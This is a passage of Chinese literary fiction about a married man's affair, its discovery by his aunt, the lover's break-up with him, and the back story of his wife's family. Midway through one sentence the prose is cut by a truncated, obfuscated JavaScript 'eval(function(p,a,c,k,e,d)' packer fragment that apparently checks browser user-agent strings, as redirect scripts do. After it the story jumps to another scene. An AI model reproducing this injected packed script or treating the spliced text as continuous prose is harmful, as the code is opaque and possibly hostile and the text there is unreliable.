陶瓷狮子映着梁挥喝完整瓶冰水后还是全神贯注的脸,被拉长的卖力的脸不那么真实。杨锦姿的指甲盖上还残留着被勾绞下来的几根头发,她沉醉着睁开眼,看到他出神的样子,抽开一只被他撑握着的手,拉熄了床头灯。他还是竭尽全力地应付着,她顿时没了兴致,说道:“你要么快点吧,我要起来备明天的课了。” 杨锦姿不喜欢夏天,热天让人不清爽。人出汗多,可怜丝质床单像是要沤出水来糊在身上,贴着你甩不掉。热天里每周六他回来,她是欢喜的,只是和他一起,每次都像在洇出来细密水珠的回南天地板上打了滚,要冲两遍凉才能让心里的怨火不烧得慌。 冲完澡回来,她靠在窗帘那边,还是打开了窗子透气。 “你那会往这边看什么呢?”杨锦姿看着窗子外边。 梁挥侧躺在床上撑着身子,背对着她:“你挂在紫影上的是新的窗帘链条子?我看那黑灰色珠子一颗颗的,像水泥点子。” 杨锦姿回过身来看了眼墙角,紫影姜荷花盆栽上是她用深色琉璃珠子串的两条系窗帘的带子。她不想再理他,拉开床头灯,转身回了句“我要去书房做正事了”。 “不用这么辛苦的,好好休息一下,不兴做工作狂。” “我俩感情还能维持得这样好,很大程度是因为我们都是工作狂。” 明明没有风,窗帘也呆笨笨的,卧室天花板的灯也没开,梁挥却觉得有绿色波浪晃着眼。他看着墙角,玫粉色的姜荷花托着砸乱他眼神的“水泥点子”,地上暖黄色的叶子花砖更温柔了,他想也许只是因为没有戴眼镜的缘故。 冬天的时候,森林公园附近有烟花表演,预告早就发出来了,去的那天路上都是车和人。快到的时候,路还堵着,看来没法挑到视线好的位置了。两人说着话,梁挥提到父母嫌年后冷,去南方海滩度假了,这样自己反而自在些。 “我不喜欢海,吃海鲜也过敏。”梁挥打了个呵欠。 “那你喜欢什么?”石唯搓了下手背。她前一个周末去夏口帮杨树奇做装置,室外受了冻,手一直浸凉水,回来后时不时发痒。 “我喜欢天空,我们现在不是去看么。”梁挥握住石唯的手,帮她搓了搓。 焰火晚会开始了,两人头探出车窗看着。窗外下着细朦朦的小雨,雨点儿不急,冬雨还是很凉的。车挨着车,手要伸高些才能拍到不被闲人杂物遮碍的完美花火,一团一团烟花聚开又缓缓滑落,是黑色海底的水母群,只是松一下、闪一瞬,就缩没了,烟花水母命途太短。 “像水母。”石唯只是看着。 梁挥用手机拍个不停,心情不错,回头看了她一眼又继续拍,笑着问:“啊?你刚才说是像水母?好看的,像狮鬃水母。” 石唯没什么心思看烟花,闭着眼睛靠在椅背上,她听出车里放的是Honeyrider的《Pleasue beach》。想到专辑的封面,睁开眼看着梁挥的背面,他饶有兴致地拍着照,她觉得烟花更像紫纹海刺水母,小声说了句:“你还是喜欢海。”他没有听清,也来不及回她,烟花秀到了尾声,结束前总是最壮美,人群沸腾,他的手抖都不抖一下——留住美总要稳当才行。 三月底,在工作室忙完后,梁挥和伍义去附近吃午饭。梁挥要了份土豆色拉,伍义笑道:“你愈发爱吃甜的了,硬是来这家吃我就不说了,点了酱鸭腿这齁甜的还来份小甜蜜,不嫌腻?” “好吃的,你尝一下。不然,你想我喂你?”梁挥顺手挖了一小勺逗他。 “别闹,我不说你了,你爱吃多吃。”伍义苦笑着摇摇头,推开梁挥的手。 梁挥突然想起什么一样:“好久没去钓鱼了。” “可不是么,去年你处理好那个‘交通事故’,心情也舒畅了,钓鱼也没兴致了。” “这都快四月了,咱们常去钓点那边的杜梨树要开花了吧?”梁挥的眼睛亮得像矿洞里的小鼠。 伍义看着外面,他知道梁挥在期待什么了,本来不打算说的:“那次烟火大会,我和小陈去晚了,她先看到你探着身子拍照,你也去晚了吧?又堵,也不好下车,我就没带着她过去和你们打招呼。你说过完年杨姿去润州陪她母亲了,我还想你这么早来忙工作室的事,一个人怪可怜的。” 梁挥放下勺子,把眼镜摘下来放到一边,抿着嘴看着伍义。 “石小姐喜欢逛公园吧?这样看她倒简朴得有些执着,像我妈那年代的人一样。我后来好几个周末送小陈回家都瞧见过你们,她家在悬铃木公园那一块。” 梁挥不知说什么,问了句:“小陈是何卫介绍的?” “嗯,一直没给你细说,何卫妈妈介绍的。胡阿姨听说我没对象,她高中同学的小女儿毕业没两年,人不错。本来先问的是你,何卫说你结婚早,都好几年了,她才没说什么。” 梁挥想回些什么,伍义见他略尴尬便示意他先停住:“我没有别的意思,其实那时见你状态比以前好多了,我还蛮开心的。只是胡阿姨这个年纪的人嘛,说话太直接了,那时我说小陈太年轻,把我介绍给小姑娘我还有点惭愧……胡阿姨说‘不介绍年轻的还介绍年纪大的不成’;何卫对胡阿姨单位的那个女孩印象不错,说可以试着介绍一下,就是他去接胡阿姨时接待他的那个。胡阿姨嫌石小姐年纪也大了,还一根筋不变通,说这种死板的人过起日子来没滋没味的。当然这也就随口一说、随耳一听的事,我没有贬低石小姐的意思。你有什么打算没?石小姐肯定也不晓得你的情况;杨姿那边,你还是最在意的吧!” 伍义给梁挥的杯子续满水,看着他。梁挥轻抿了一口又放下杯子,水溢出来了些,他回道:“我会处理好的。” “我没别的意思,看你自己。这毕竟是你私事,一直也没好问你,但想着你这也只是露水情缘,窗上的雾水珠子都是一抹就没的。听胡阿姨这样一讲呢,石小姐怕不是个固执的人哦?好在她也不像着急结婚的那种人。要么趁还只是水珠子的时候,你扯个由头抹了吧,互相不耽误。要不然时间久了,我怕你不好脱身。” 梁挥抽出口袋里的小粉猪手帕擦着桌上的水。伍义喊服务员过来把饭菜都打包了。 石唯和梁挥每周四下班后,会约着去老城区梧桐行道散步,工作日里只能下班早时见缝插针地见面。周五石唯休息,只有每周五才是完完全全属于他们的——那是逛吃一整天,小兴路学校对面买锅盔、实验路对面买迷你小汤包、绿房子买南瓜面包和日式红豆包。最重要的事就是公园散步,梁挥总是笑石唯怎么就那么爱逛公园,石唯只道“逛公园才是正经事,要感受植物的呼吸”,梁挥笑着劝她“还是多感受爱人的呼吸吧”。晚上回去的路上,他们会去买透油的辣牛肉包子,还要打包北方饺子馆的冰棱纹煎饺和饺子馆隔壁的卤味拼盘。梁挥周六会和石唯一起做午饭,之后会回夏口他父母家,石唯很珍惜周四晚上一起散步的时光和晚上回去靠在一起看电影的时刻。周末不能一起过,假期总是陪各自父母,但是石唯很知足。和梁挥在一起太放松了,他像她从小到大的很多好朋友一样让人安心:能吃到一起,一起散步,互相觉得对方的住所装饰得温馨和温暖,他们喜欢听对方说话,不说话时待在对方身边就像浮在温柔的水面划拉着脚一样舒服。 周五散步的时候梁挥摁掉了好几个电话,石唯问他是不是工作的事,他敷衍过去了。石唯穿着的深蓝色直筒长裙子显得很端庄,梁挥似乎不喜欢这颜色,石唯看得出他的不喜欢——他是温和的排斥,装作没看见。这天梁挥情绪不高,石唯说他今天是灰蓝色的,他笑着问“情绪有颜色吗?”不等石唯回答,便提出提前结束散步去他的住处。又来到这边静谧美好的小楼,石唯想着建这栋小房子的梁挥外公一定是有情有才的人,每次来都能感受到不一样的温馨。远离街道的二层小楼好些年头了,外墙铺着浅绿色的瓷砖。打开院子门进去,院子里绣球和那棵印度淡妆月季开得很好,木门百合很香,白天他们会在二楼卧室阳台吹风,欣赏下面院子的花草。梁挥揽着石唯快速向前再开一道门,上次过来梁挥姨妈寄养的小狗笨笨用叫声迎接他们,到石唯的脚边蹦蹦蹭蹭很是兴奋,现在笨笨回家了。 石唯洗漱好在沙发上看书,梁挥吹好头发过来。他只是靠着她不说话。她不知道他在想什么,犹疑地轻拽了他腰侧的背心布料。镜子里梁挥关了手机了,他刚刚挂断太多个电话。石唯发觉他情绪不对,可是不知道怎么描述自己的感受。她准备起身把书放回去时,被梁挥双手拉住,他拉着她的手拂着他的脸,转身过肩抱住她去了房间。像是跌在一片嫩草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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餐桌上小巧的不锈钢花瓶插着那朵万华镜,花杆子太软,花头垂在瓶沿。梁挥已经准备好了早饭,是自己做的山药黑豆小米桨和街角早点店买的豆皮还有鸡公饺。石唯昨晚睡得不好,好不容易才睡着,至少那会破壁机的声音没有吵醒她。吃早饭时看到印着药房字样、系着的塑料袋子放在餐桌靠墙的边边,她问梁挥怎么了,他回“早上一直咳,所以买了急支糖浆”。石唯忍不住笑了,梁挥不解,她实在憋不住脸埋在搁桌上的手肘窝抖动着笑起来。梁挥用手指推推她,也跟着笑起来:“到底笑什么嘛?” “昨天你很浮躁,像那个豹子?”石唯抬头看了眼他。 “嗯?”梁挥疑惑。 “零几年有个糖浆广告,昨天你很像那个广告里面一直追着要糖浆的豹子。” “额……或许你比较像以暴制暴的豹子。”梁挥想到那个广告也觉得好笑,想着她怎么想到的。 “不是一回事。我是说你有事,从昨天白天开始就是很想逃避的那种焦虑感,我以前也有过,所以总觉得你有事。豹子,我没有糖浆,你追错人了,可是仔细一想,我觉得你没有追我,你在躲我!” “家里有点事,今天我早点回夏口,不吃午饭了。”梁挥和石唯简单说了几句,抱了她一下,马上下楼开车走了。石唯本以为这会像之前每个周六一样,一起去菜市场挑小菜,中午一起做饭。她想不通他,一个人留在他这边,她打算歇一会儿就走。书房都是很老的书,应该是梁挥外公的,很多古代文学类书籍和土地资源专业类书籍,还有一本本相册整齐的排在一起,石唯很好奇,不过主人不在,打开太失礼了。石唯注意到了书桌上摆放的一个相框,是童年梁挥抱着一只小肥狗和他外公外婆的合照,那时候他就是脸上单边一个梨涡笑着,和现在没什么变化。她拿起相框看,老旧的相框立撑被她这么一拉掉了一半,她赶紧把它收拢,却发现还有一张相片——被那张合照覆着的另一张合照,照片里和年轻时的俞老师一起的那位女性穿着有塔克褶的粉色衬衫。她抽出来再仔细看了看,惊了,想起了什么。 梁挥母亲看到他进门,赶紧迎了上来,自然地接过他手里的东西,着急忙慌地打开鞋柜给他翻拖鞋,嘴里说着“姨妈过来了,也没想到你又回来吃了,所以大家已经吃过了,马上去给你热菜”。俞鸿雁坐在沙发上看电视,看了眼梁挥,点下头后眼神示意他过去,顺手把遥控器按了。梁挥并不言语,过去后和姨妈隔了点距离坐下。俞鸿雁先开口了:“你爸爸说去小区喷水池那边逛一会,放下风、运动下。”梁挥还是沉默。 “我没和任何人说。你妈热菜还有一会儿,我们去书房说吧。” 梁挥应了一声,先一步去了书房。俞鸿雁进来后把门锁上。 “你打算怎么办?赶紧断掉吧。不要再像初中时候那样混账了!年纪小打游戏就算了,现在这是要把自己家庭毁了。” 梁挥抬头看着姨妈:“那您是要像初中替我妈管教我一样,再打我一餐吗?打饱我?用高跟鞋踢?” 俞鸿雁很气恼,推着门的手上皮肤都是皱在一起的,手抽筋一样酸,忍着那口顺不下来的气,还是压低了声音:“小鱼,你不能太自私!你是男的,断不断最后总是好脱身,她一个女的日子不会好过,她其实是蛮简单的一个人。” 见梁挥不作声,俞鸿雁继续说道:“你是成年人了,我也不好说你,也不归我管你。那个姑娘伢毕竟是我教过的,你这样子相当于是哄骗她,她不一定遭得住。”俞鸿雁把锁解开准备出去了。 梁挥叫住她:“姨妈,我和她都喜欢小孩,万一我是想和她过日子的呢?或许会有一个好的小家庭。” 俞鸿雁实在忍不住了,抄起门边黑漆抽柜上的红色塑料闹钟就朝梁挥扔去:“真是出了他姆妈的鬼额,你倒是出奇了啊!你是假糊涂还是真撩浆(方言:聪明、能干)啊?搞成这样还在想什么天方夜谭的事?简直不可思议!”她转身摔门出去。梁挥只想逃避,他不觉得逃避有什么可耻的,只是好像真的没有什么用。 梁母一直给梁挥碗里的藕汤添排骨,心疼儿子一周只回家吃一次饭,她看出姐姐和儿子情绪不太对,但也不好多问,缓和气氛般邀姐姐“等待会小鱼吃完,我洗好碗了,陪你出去逛街看衣服”。俞鸿雁不耐烦地回:“马上三十岁的人了,未必不能洗自己的碗吧?”梁挥便要他妈妈早点和姨妈一起去逛街,家里他来收拾。 梁挥洗着碗,想着干脆把整个厨房彻底清洁一遍,他脑子太乱了——清洁找不回秩序,但是劳动可以麻痹痛苦。不久前和石唯在外面吃饭,碰到了石唯小姨和老友聚餐,小姨很亲切,石唯向小姨介绍了梁挥。石唯父母在这之后应该是知道了,梁挥听她询问“要不要找个时间一起去我爸妈家吃饭”,他推说“我好好准备一下,中秋节再去正式拜访”,这之后她也就不提了。还没在一起时,梁挥托石唯订螃蟹,去她公司附近约她吃饭,她自己也买了一批螃蟹送给亲友,还提到“没多久前,我在商城楼下超市碰到俞老师买牛奶,俞老师留了她的电话给我。我给她也送了些”;他想自己还是沾了姨妈的光,她还真挂念着她的‘俞老师’。在一起半年后,梁挥知道了姨妈偶尔会关心石唯,知道她没结婚也动过给她介绍对象的心思,石唯告知“交了朋友”后,姨妈蛮开心的,也不提了。石唯没和俞老师说她的男友就是梁挥,她觉得这个事情可能还是梁挥说好一些,或者找个合适的时机一起说,合适的时机可能还是看梁挥的状态,至少她觉得他很“收”。好在两人都是不喜欢说自己私事,更在意自己生活的人。 梁父散步回来,见儿子在厨房,跑进去笑起来:“哟,每周就回来一次,在家帮老婆收拾,过来还要来替老娘收拾啊!”梁挥敷衍着和他爸说了几句话,梁烈也就出去了,回头倚在厨房门边说了一句:“你们该生小孩了,又不是没办法。你是个男人,小杨那边也该好好解决。” 早些时候,梁挥不是没想过断掉,也许开始时没有想过太多,挣扎的过程里想着就让石唯当他是个顶普通的混蛋好了。她不是没谈过恋爱,就当他是个混蛋也该是件容易的事,他想不出有什么理由划烂本来一团糟却安全稳定又平静的生活。那次伍义提醒后,他当然觉得自己比外人更了解石唯,她绝对是可以好好分手的人,可接着两周他都很焦躁。那个周四晚上他在石唯那边看电影,她在他坐的单人沙发旁的地毯上看科幻小说,他忍不住问她:“明明是可预见的结局,她为什么不尝试改变?要是我,可能知道结局还是会想办法搏一搏,我不理解。”石唯翻过身坐起来看向投影,过了会儿抬头望着梁挥说:“因为得到‘好’结局不是她想要的,做她认为‘好’的事,自己做决定,才是她想要的。”这一刻梁挥想“她真是个执着的人呢!”,但他不想和她分开了。 梁父在客厅看电视的声音太大,梁挥不想再想这些,他把厨房的地砖又擦了一遍。 周一回去,梁挥忙了一天,给石唯发消息发不出去,电话她也没接,他慌了。晚上去石唯住处,焦急地用钥匙开门,进门了看着她,却不晓得说什么了。 “你把我拉黑了。”梁挥小声说。 “嗯,亲自拉黑的,把一个人拉黑跟把大象关进冰箱一样需要三步——找到这个人、点进去、删掉拉黑。”石唯嘴是笑着的,眼睛直直看着他。 “你这样说……” “不像我?我从来都不是幽默的人,要不要我哈哈哈几句?”石唯眼睛也笑起来,“把我家备用钥匙还我,就这样吧。” “对不起,我会把事情解决好。我们先好好说一下。” “你有病吧?你之前同我讲的时候,打算中秋怎么去我家正式拜访?中秋也没几个月了,你怎么敢那样说……算了,我不想了解你的想法,你也不用说你的情况了。好好说什么呢?你和你太太的感情状况,还是你不是故意的?还是要剖开你的心说你是认真的?”石唯眼圈很黑,脸上挤满了笑。 梁挥很难过,眼里有泪:“小唯,也许你不相信,我是真心的。我没想到姨妈先同你讲了,我是打算最近处理好的……” “都这时候了,你还怪别人!我和俞老师有联系你晓得的,怎么还……我不理解,也不想了解,我和你姨妈又不是傻子,你真是‘艺高人胆大’,‘英勇非常’。把我家钥匙还给我!”石唯转身要走。 梁挥跑到沙发那边,不小心撞倒了古铜色编织镂空圆罩的落地灯,他从背后抱住她,哭着反复说“对不起”。 “我当然相信你是真心的。就这样吧,我是很好分手的人,你想要的最好的结果不就是这样吗?你是真的喜欢我,你也真的是生活太无趣要找点有意思的东西调剂下。我应该怎样呢?喊着和你吵一架,然后听你诉说婚姻之苦抱怨太太,哭着求你留下来,是不是这样你还好脱身些?你可以演一演深情,然后没有负担地离开。我这件东西不太趁手吧?你把我当个人吧。” 石唯扒开梁挥的手臂,转过身冷愣愣地盯着他,笑着说:“把我家钥匙还给我。” 这之后梁挥又来找了石唯几次,石唯左右邻居都会拉开门瞄两眼。石唯搬走了。 那个中秋节,石唯家里一团乱。胡允华联系不上石唯,去她家敲门也没人应。邻居阿姨买菜回来上楼,边开自家门边左右打量的眼神让胡允华更烦躁了,那阿姨见胡允华看过来,凑了点笑意说:“这家小姐不来这边了哦,她跟的男将是结了婚的,别个来扯了好几回皮哟!” 胡允华不知道自己怎么回家的。石父在接老同事电话,接完对胡允华说过两天要去吃酒,是同事孙子的百日宴。胡允华面无表情地说了石唯的事,两人大吵起来,互相谩骂指责。两人联系上石唯后,深夜去了渡口村。关紧大门和房门后,胡允华厌恶石唯的沉默和丈夫对自己“教养无方”的指责,更恨要克制住情绪只能小声争吵。在石爸又一次说出“你这当姆妈的一点心也不操”,石唯终于开口说出“对不起!我没有错。”后,她终于狠狠甩了石唯一耳光——她好恨,不知道恨谁,也不知道谁有错。 19. 印度淡妆 雨 卢姨留杨锦姿吃饭,她推说自己太忙了,赶着回去。姑妈便给她装了些新鲜的蔬菜水果,还有端午节的礼盒,喊来厨房里忙活的赵阿姨帮她送到车上。 杨锦姿刚要开车走,杨爸跑过来,从车窗丢进来两条烟:“给我们姑爷的。别人送了太多,我现在不怎么抽了。生孩子的事,我和你说过,你要听进去哦!” “爸!说多少次了,他不抽烟!” “拿去吧,拿去吧。反正给他的。”杨爸转身进屋,头不回地朝后摆摆手。 杨锦姿路上越开越气,看着那两条烟,觉得脚踝那边更痒了,一只手薅起那两条烟反手朝后座甩去。 杨锦姿这次过来是送茶礼。杨父那个割草机还是不好用,让她联系商家换了。她不理解,怎么就不能像邻居家一样,定期请工人过来修剪草坪?他们要她买了割草机,也不见怎么用,用两次坏了,也是让她找商家换来换去。割草机怎么也是个大家伙,寄换起来麻烦得很!附近哪一家的花园不是修剪得漂漂亮亮的?九十岁的奶奶身体旺得很,恨不得亲自在花园种地。父亲是个孝子,让花园变成菜园子,倒是请了人定期来忙活,可怜了原先那些花花草草,拔得差不多了,没拔的周围也是杂草丛生。 快到家时,杨锦姿本想去超市采购些东西,想着是周六,他在他爸妈那边吃饭回来会采买,她就直接回去了。心情烦闷,只想睡觉,她躺在书房沙发上。手机提示音响个不停,是班级新来的老师发的。年轻人面皮薄,平时她顺手帮了忙,他们就总想着买些小东西,和资历老的老师搞好关系。隔壁班那个新来的小姑娘也是,总是请她们这些老教师喝奶茶。她拿起手机看了一会儿,看到有几条笑起来,把手机静音放到一边,侧身睡去。 杨锦姿梦里总会回到考场,不知道在考什么,总是做不完卷子,好不容易写完了,又发现路选错了,接着是一番天旋地转,四周黑黢黢的,自己动弹不得,像被锁在箱子里。 杨锦姿念大学时,通过姑妈和母亲有了联系。十岁那年,母亲离开了她,去了外公老家生活。她当然理解母亲——那时候她还小,记得很清楚:父亲一次次抱着母亲哭,也一次次动手。那时她还不懂,脆弱痛苦和粗暴无耻怎么能在一个人身上反复切换。她讨厌甚至惧怕一切橘红色系,父亲发狂的样子,让她想起《猫和老鼠》里面汤姆猫犹豫时的场景:脑袋左边是通身洁白、头顶光环的天使汤姆,右边是拿着有三齿干草叉的棕红色恶魔汤姆,恶魔汤姆仿佛随时能把人叉进咕嘟冒泡的地狱汤锅。 母亲让她闭着眼睛不要看,父亲却不在意在她面前动手。她背过身望着窗子外边,那天傍晚的天空有美丽的火烧云,她只看到无数干草叉和动画片里的地狱汤锅。天空真是浪漫得残忍,她讨厌天空。 杨锦姿相信母亲一直挂念着自己,她也相信姑妈是因为自己同样见不到儿子的处境,才帮她们联系上,更相信这一切是因为家里老头子老了,只能睁一只眼闭一只眼。上大学那年,她联系上母亲,假期会去看望母亲和外公外婆。也是那年,杨父离婚了,隔年再婚,娶了只比杨锦姿大九岁的卢姨。卢姨工作稳定清闲,是毕业就考进的好单位。杨锦姿一向和卢姨关系不错,像朋友一样处着。 杨锦姿念书时就给父亲的一个厂子做账,她对厂子里的各项事务很感兴趣,也觉得自己做得来,以为杨父有把生意慢慢交给她的意思。老家的亲戚都奉承着奶奶,说老太太命好,儿子有本事可不是命好么!这么多年,不少亲戚在杨父的各个工厂谋活做。杨父二婚刚离那年,老家的堂伯找到奶奶,想过继个孩子给杨父当儿子。老太太这种时候心里还蛮清白(清醒)的,囫囵推掉了。这些年,奶奶时不时提要把姑妈家的儿子接回来,改随杨家姓,跟着舅舅做事,杨爸每次听到都不作声。姑妈家那个孩子跟着他父亲在北方生活,那家人断不肯不放手,姑妈既联系不上,也见不到孩子。直到卢姨千辛万苦做试管生下了妹妹,奶奶才没再提把姑妈家孩子接回来的事了,只是常说“家里也没个学生伢(男孩子)”。 杨锦姿偶尔想起“徐嬢嬢”——那是杨父的二婚妻子,是个泼辣人,和杨母完全不一样的人。杨锦姿第一次见她,死活不肯喊“妈”。徐嬢嬢嫌旁边一直推她叫人的姑妈烦,不耐烦地说:“喊嬢嬢算哒!”徐嬢嬢脾气火爆,做事爽利能扛事,那时候她娘家亲戚不少都被安排到杨父厂子里做活,娘家弟弟管采购。杨锦姿初中被同学欺负,硬是和对方硬抗,不知徐嬢嬢怎么晓得了,跑去学校和对方家长对骂,像要弄死别人的架势。那天回家,杨锦姿第一次主动坐了副驾驶。她默默擦眼泪,徐嬢嬢一边滴喇叭,一边伸出头骂前面的车,转头见她哭了,意外道:“这九精八怪是么回事?搞赢了还哭?你不要看自己是姑娘伢,反正遇事不要怕,管他哪个,自己有本事总归不慌!我看你还蛮有骨气的,嬢嬢蛮欣赏你。以后有事要和屋里说啊,你不想和我说,就跟你爸爸说;再不想说,总是能和姑妈、奶奶说。你一个小伢,自己能撑几时呢?”杨锦姿低着头不说话,徐嬢嬢低头探身,抽了张纸递给她:“小姿,你该不会是嫌我在学校声喉太大,折了你的人吧?”杨锦姿终于笑了一下,委屈地说:“没有!”徐嬢嬢大笑起来,继续开车看着前面,后面的车一直朝他们按喇叭。“不哭了就好!” 杨锦姿和徐嬢嬢倒像母女一样生活了几年,该吵架时也像别人家亲母女一样吵得厉害。奶奶私下总是拉着杨锦姿说:“你是啷样哒?莫和你徐嬢嬢吵额!她造业额!”她不明白徐嬢嬢怎么可怜了,奶奶只说:“你晓得么事啊!她在这边冇得伢儿呀!” 有两年,杨父一直和徐嬢嬢的娘家弟弟吵架,说是为工厂的事。奶奶会私下劝杨父:“你找外面的人做事也是把钱给别人赚,这个钱给自己人赚不好吗?还兴我老婆子和你说?你心里不静办(清楚、安静)?过日子就好生过啊,不要再想新谋子了!现在这日子多安逸。”杨父只是回道:“我心里当然静办,您家晓得什么?我看是她太会做人、太会哄了!您家不是老想要孙子的吗?” 杨父终究二婚离了,年轻太太也娶了,徐嬢嬢娘家亲戚也都不在管理层了。徐嬢嬢去了外地,那个接手了她前夫生意的大儿子那边。杨锦姿结婚时,她还包了个不小的红包,说儿子生意做得蛮大,待她不错。杨锦姿心里难过,说不出来的难过。 杨锦姿刚毕业时,杨父总带她去各个饭局,她明白了——杨父完全没有要她慢慢接手生意的意思。介绍的几个男孩子,家里条件都相当不错,多是杨父可攀附人脉的人家。杨锦姿觉得好笑:自己想什么呢?爸爸当自己傻子,自己差点还开心地做了傻子。 在私立中学教了一年书,杨锦姿住在自己的房子里,周末才去看看奶奶他们。周五下班后,她想去挑几束花——周日是母亲节,周六刚好带去杨爸那边。家里介绍的一个男孩子,曾在三八妇女节给她送过一束花。那束花和以往那些男孩送的不同,很简单又略有巧思,她仔细看了花束里面立出来、像在飘动的紫色蝴蝶结丝带,是隐了铝丝在绸带里绕出来的。杨锦姿从手机相册里翻出三月的照片,放大照片看了了包装上的logo:没有店名,是一只用红线绕出的手的图案。她不情愿地翻开了通讯录。 花店那边还算好停车,杨锦姿停好车进去,没有看到人,走到收银台,伸手和樱花招财猫摆件的小爪击了下掌。窗台桌边喝咖啡的男孩子拿起眼镜戴好,起身朝她打招呼:“你好,我朋友出去送货了,隔壁小区,好近的,马上回来。有什么需要的,我给你介绍一下。” 梁挥不厌其烦地给杨锦姿介绍各个品种的玫瑰,杨锦姿好奇地问:“你帮朋友看店?怎么都知道名字?你自己喜欢什么花?” 梁挥笑道:“我也是来买花的,老板开业我就来,买着熟了,就都知道了。我自己也爱种花。喜欢的嘛,白绿色系:铁炮百合、白桔梗、绿绣球、栀子花……” 听到“桔梗”,杨锦姿锦姿指着那瓶深紫色的花:“这也是桔梗?我喜欢这个颜色。” 杨树奇送货回来,见梁挥和杨锦姿有说有笑。梁挥见她来了,示意杨锦姿“老板回来了”,杨树奇便迎上去打招呼接待。那天杨锦姿买了三束花,杨树奇用有母亲节元素的印花纸袋给她打包好,梁挥帮忙送到车上。她道谢后同梁挥道别时,他拿了一小束牛皮纸裹着的紫桔梗递过来,说是送给她的。 这之后,杨锦姿常常去这家花店逛逛,买点散花,和老板聊聊天,在窗台桌边坐一会儿。她和杨树奇很聊得来,还打趣道:“我们都姓杨,以后叫你‘姐姐’好了。”杨树奇也笑:“好,奇姐请你喝咖啡!”每次杨锦姿过去,杨树奇就去隔壁“海鸟咖啡”给她买杯咖啡和一小块蛋糕。时间久了,杨锦姿偶尔会碰到梁挥恰好来店里买花。杨树奇说,梁挥每周五晚上都过来,比起鲜切花更喜欢植物,可能更享受自己种植的乐趣;有些时候会在别的时间临时过来买花束。 “有些时候是什么时候?”杨锦姿吃了小小一口蛋糕,不经意地问。 杨树奇给她桌上的松鼠锡盘补了些坚果:“嗯,小梁周五过来是买家用插花,其他时候就是临时了,不定时。这个‘不定时’,就看他家里什么时候给他安排相亲——他晚上要请女孩子吃饭,会过来买一小束清新点的花。” “他也相亲啊。” “嗯,和你们家一直给你安排,差不多的意思吧。” 后来他们就是一起过来店里了,杨树奇有点惊讶,不过又觉得年轻人聊得来很合理。两人总是周五晚上过来买花,再到隔壁咖啡店坐一会儿,就这样交往下来。交往一年不到,杨锦姿家里也问了情况。 杨爸和梁爸算是不那么好的“熟人”。 二十多年前,杨爸还在做运输,梁爸把附近工业园区食品厂的运输全拿下了。杨爸气不过,又抢不过来,两人一直不对付。有天夜里,梁爸那边给一家食品厂运的货被烧了两车,那时候也没什么监控,事情也没查出来,坊间传闻是杨爸找人弄的。杨爸后来做采砂、采石的生意,娶了能干又有资源的第二任徐太太后,夏口的木材生意和灯具厂也做起来了,家里便往江城搬了,一大家子住在城郊的别墅区,杨锦姿初一下学期也转学过来了。梁爸生意一直比较稳定,后来不知怎么在复州的酒店豪赌几天,输光了家产,逃去南方;梁妈那三年独自在家面对债主,不好过,梁挥也过了三年动荡日子。好在梁爸命硬且好,在南方得贵人相助,做物流生意又发家了,梁挥初中毕业后,一家人在江城团聚。 杨锦姿是想结婚的,倒不是非嫁给梁挥不可。反正家里的生意,杨爸没有给她接手的打算;介绍给的人么,她也不情愿——嫁给那些人,需要人家的资源给杨爸。过那种所谓“体面日子”,可就要做沉默的傻子。自己现在也算独立了,结婚杨爸也会给一笔钱。她想过比较省事平稳的生活,但省事也分怎么选,她宁可自己成全自己。梁挥是个不错的对象,聊得来,也算英俊,两人有还算不错的工作,最重要的是时机——他也和她一样,想过省事平静的普通生活。 交往不到两年,婚结得很平顺,和杨锦姿预想的一样。她想,自己是满意的。梁挥是个颇有意思的人,生活上也有些小情趣,做饭好吃,还体贴。不过无论他怎么样,她最在意的是自己真的自由了。她没有像母亲一样有决断的决心,但得到了属于自己安全区的自由。婚礼前两天她都没睡着,兴奋又刺激,她想,自己是满意的。婚礼手捧花是杨树奇做的:白色羽毛架构上点缀着紫色铁线莲、浅紫色翠珠、白色洋牡丹和银莲花。其实杨锦姿想要深紫色剑兰手捧,小小一把就好,梁挥说“哪里有人用剑兰做手捧花的”。不过她觉得没关系,对她来讲,婚礼上的花是最不紧要的点缀。 婚后生活很平静也很简单。住在一起后,杨锦姿发现梁挥比她以为的更有意思,他的朋友们也很有趣。像婚前一样,她偶尔和梁挥还有他的好友伍义在外头聚聚、吃饭。家里的花花草草都是梁挥打理,她不用费力就能欣赏绿意,只是他喜欢浅色花草,要是多种些她喜欢的深色系,她会更满意。她发现他还有个爱好:喜欢录下雨声。他喜欢雨天,知道会下雨就提前准备好东西,她不太理解,不过这种个人趣味也无所谓。 婚礼前一个月,杨锦姿原本约好梁挥去她爸那边帮她搬书,结果梁挥临时出差,拜托伍义过去帮忙。平时梁挥抽不开空,总让伍义帮杨锦姿些小忙,杨她和梁挥的朋友们处得不错,和伍义当然也很合得来。杨锦姿开车快到时,奶奶就和姑妈迎了出来。奶奶说:“唉哟,新姑爷来啰!姑爷个子高,看上去又扎实,人倜傥,一看就好灵醒(干净得体)。”杨爸听奶奶这样讲,也走过来,没有朝外看,说:“啊?我看梁家那小子也不啷样嘛!” “你真是的,伢都要嫁到别人家了,还扯那久远的事做什么?”奶奶横了杨爸一眼。 “唉哟,说的好像我蛮想结这门亲一样!” 杨爸不耐烦地回了奶奶,往下车的杨锦姿那边看了眼,眉头不拧了,带点嘲笑地说道:“姐姐,您把姆妈卯倒(扶好),要卯好啊,免得人年纪大了瞎激动跶倒了,爬都爬不起来。”他转身回屋,声调加重:“看清楚哦!还倜傥,还灵醒!那一看就不是梁家的人哦!” 杨锦姿和伍义搬着一箱箱书,期间奶奶也想帮忙,被伍义劝住了。 “奶奶,这种搬东西的活,我来就好,您歇一下。锦姿给您带了两箱水蜜桃,待会给您削了尝尝,她特地买的,怕放软了,着急慌忙带过来,说您喜欢脆桃!”伍义笑着把奶奶往屋里扶。姑妈马上叫来赵阿姨,让她挑几个硬一点的桃子切好端出来。 奶奶笑:“唉呀,我专门要她姑妈把书都一箱一箱准备好,提前盘到外面,就是想方便她盘。小姿蛮有良心的一个伢,她嫁出去我还舍不得呢!” 